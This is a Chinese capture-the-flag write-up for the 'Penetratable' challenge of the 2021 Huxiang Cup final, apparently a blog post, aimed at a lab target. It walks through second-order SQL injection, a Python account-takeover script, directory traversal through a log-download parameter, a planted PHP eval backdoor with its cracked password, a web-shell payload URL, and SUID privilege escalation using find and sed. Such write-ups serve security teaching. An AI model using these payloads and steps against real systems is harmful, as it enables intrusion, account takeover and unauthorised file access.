[湖湘杯 2021 final]Penetratable

  • suid提权
  • 二次注入
  • hash爆破

拿到网站,先进行目录扫描

扫出来了一些

[19:10:19] 301 -  317B  - /app  ->  http://1.14.71.254:28011/app/
[19:10:19] 403 -  279B  - /app/.htaccess
[19:10:21] 301 -  320B  - /config  ->  http://1.14.71.254:28011/config/
[19:10:22] 200 -    1KB - /config/
[19:10:26] 302 -    0B  - /index.php  ->  /?id=1
[19:10:26] 302 -    0B  - /index.php/login/  ->  /?id=1
[19:10:30] 200 -    0B  - /phpinfo.php
[19:10:32] 403 -  279B  - /server-status
[19:10:32] 403 -  279B  - /server-status/
[19:10:33] 301 -  320B  - /static  ->  http://1.14.71.254:28011/static/

但是都没什么用,打开都是php文件,看不到内容

继续看

这里可以注册,登录,也可以修改密码

尝试二次注入

注册admin’#,修改密码,不成功

换一个闭合方式

admin"# 修改密码成功

修改密码为1234

image-20220915191721920

在抓包的过程中,发现了传的参数

name是被base64编码过

pass是被md5加密过

say也是被base64编码过

在req.js里可以看见

所以在做题的时候要多看看文件

function login(){
    let name=encodeURIComponent(Base64.encode($(".form-floating>input").eq(0).val()))
    let pass=hex_md5($(".form-floating>input").eq(1).val())
    $.ajax({
        url: '/?c=app&m=login',
        type: 'post',
        data: 'name=' + name+'&pass=' + pass,
        // async:true,
        dataType: 'text',
        success: function(data){
            let res=$.parseJSON(data);
            if (res['login']){
                switch (res['type']){
                    case 'user': location.href="/?c=user"; break;
                    case 'admin': location.href="/?c=admin"; break;
                    case 'root': location.href="/?c=root"; break;
                }
            }else if(res['alertFlag']){
                alert(res['alertData']);
            }
        }
    });
}

function userUpdateInfo(){
    let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
    let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
    let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
    let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
    $.ajax({
        url: '/?c=user&m=updateUserInfo',
        type: 'post',
        data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
        // async:true,
        dataType: 'text',
        success: function(data){
            alertHandle(data);
        }
    });
}

function signOut(){
    $.ajax({
        url: '/?c=app&m=signOut',
        type: 'get',
        dataType: 'text',
        success: function(data){
            alertHandle(data);
        }
    });
}

function alertHandle(data){
    let res=$.parseJSON(data);
    if(res['alertFlag']){
        alert(res['alertData']);
    }
    if(res['location']){
        location.href=res['location'];
    }
}

function changeAdminPage(type){
    let page=$('.page').text();
    if (type=='next'){
        location.href='?c=admin&m=getUserList&page='+(parseInt(page)+1);
    }
    if (type=='last'){
        location.href='?c=admin&m=getUserList&page='+(parseInt(page)-1);
    }
}
function changeRootPage(type){
    let page=$('.page').text();
    if (type=='next'){
        location.href='?c=root&m=getUserInfo&page='+(parseInt(page)+1);
    }
    if (type=='last'){
        location.href='?c=root&m=getUserInfo&page='+(parseInt(page)-1);
    }
}

function updatePass(){
    // let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
    // let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
    // let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
    // let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
    // $.ajax({
    //     url: '/?c=admin&m=updatePass',
    //     type: 'post',
    //     data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
    //     // async:true,
    //     dataType: 'text',
    //     success: function(data){
    //         alertHandle(data);
    //     }
    // });
}

function adminHome(){
    location.href='/?c=root'
}

function getUserInfo(){
    location.href='/?c=root&m=getUserInfo'
}

function getLogList(){
    location.href='/?c=root&m=getLogList'
}

function downloadLog(filename){
    location.href='/?c=root&m=downloadRequestLog&filename='+filename;
}

function register(){
    let name=encodeURIComponent(Base64.encode($(".form-floating>input").eq(2).val()))
    let pass=hex_md5($(".form-floating>input").eq(3).val())
    let saying=encodeURIComponent(Base64.encode($(".form-floating>input").eq(4).val()))
    $.ajax({
        url: '/?c=app&m=register',
        type: 'post',
        data: 'name=' + name+'&pass=' + pass +'&saying=' +saying,
        dataType: 'text',
        success: function(data){
            // console.log(data);
            alertHandle(data);
        }
    });
}

登录admin账户,可以看见用户名

在首页看见root`s say

说明有root用户

尝试二次注入修改root用户密码

被爆没有权限

image-20220915191937598

说明只有admin是有权限修改密码的

在抓包过程中看见了修改密码的发包过程,在js代码里也可以看见

admin修改密码

function updatePass(){
    // let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
    // let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
    // let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
    // let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
    // $.ajax({
    //     url: '/?c=admin&m=updatePass',
    //     type: 'post',
    //     data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
    //     // async:true,
    //     dataType: 'text',
    //     success: function(data){
    //         alertHandle(data);
    //     }
    // });
}

直接登录普通修改传参就行了,不用登录admin

我看其他wp他们都用的paython脚本

import base64
from hashlib import md5
import requests
url1="http://1.14.71.254:28585/?c=app&m=login"
name=base64.b64encode('admin'.encode('utf-8')).decode()
password = md5(b'111').hexdigest()
pass2=md5(b'root').hexdigest()
url2="http://1.14.71.254:28585/?c=admin&m=updatePass"
name2=base64.b64encode('root'.encode('utf-8')).decode()
sess=requests.session()
res1=sess.post(url=url1,data={"name":name,"pass":password});
print(res1.text)
res2=sess.post(url=url2,data={"name":name2,
                              "newPass":pass2,
                              "oldPass":password,
                              "saying":"TIz"})
print(res2.text)

其实是不用的

而且admin修改密码是可以直接修改的,不管旧密码是否正确

image-20220915192644910

修改root密码为12345

登录后发现可以下载文件

继续抓包

存在目录遍历

image-20220915193010742

这样就可以看我们之前看不到的文件的代码

看了一些文件,在phpinfo.php找到了关键代码

image-20220915193147874

<?php 
if(md5(@$_GET['pass_31d5df001717'])==='3fde6bb0541387e4ebdadf7c2ff31123'){@eval($_GET['cc']);} 
// hint: Checker will not detect the existence of phpinfo.php, please delete the file when fixing the vulnerability.
?>

直接cmd5得到值

1q2w3e

然后就是写马

如果直接连接http://1.14.71.254:28011/phpinfo.php?pass_31d5df001717=1q2w3e

密码cc

发现连接不了,要在写个文件,或者这样

http://1.14.71.254:28011/phpinfo.php?pass_31d5df001717=1q2w3e&cc=eval($_POST[1]);

密码:1

才能连上

在根目录发现flag

但是没有权限

image-20220915193448860

suid提权

find / -user root -perm -4000 -print 2>/dev/null#查找拥有suid的二进制文件

看到sed有suid权限,用sed读文件

image-20220915193605997

sed -n '1p' flag # 输出文件第一行的内容

sed选项:

常见的sed命令选项包含以下几种:
-e或-expression=:表示用指定命令或者脚本来处理输入的文本文件
-f或-file-:表示用指定的脚本文件来处理输入的文件文件
-h或–help:显示帮助
-n、-quite或silent:表示仅表示处理后的结果
-i:直接编辑文本文件

sed操作:

a:增加,在当前行下面增加一行指定内容。
c:替换,讲选定行替换为指定内容。
d:删除,删除选定的行。
i:插入,在选定行上面插入一行指定内容。
p:打印,如果同时指定行,表示打印指定行;如果不指定行,则表示打印所有内容,如果又非打印字符,则以ASCLL码输出。通常与“-n”选项一起使用。
s:替换,替换指定字符
y:字符转换

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

v2ish1yan

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值